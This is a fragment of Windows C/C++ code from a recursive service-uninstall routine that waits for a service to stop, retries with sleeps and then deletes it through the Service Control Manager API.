if (!(status.dwCurrentState == SERVICE_STOPPED)) {
CloseServiceHandle(hS);
CloseServiceHandle(hSC);
Sleep(OP_SLEEP_TIME);
return ServiceUninstall(serviceName, attemptCount + 1);
}
else {
deleted = DeleteService(hS);
CloseServiceHandle(hS);
}
}
}
CloseServiceHandle(hSC);
}
if (!deleted) {
Sleep(OP_SLEEP_TIME);
return ServiceUninstall(serviceName, attemptCount + 1);
}
return deleted;
}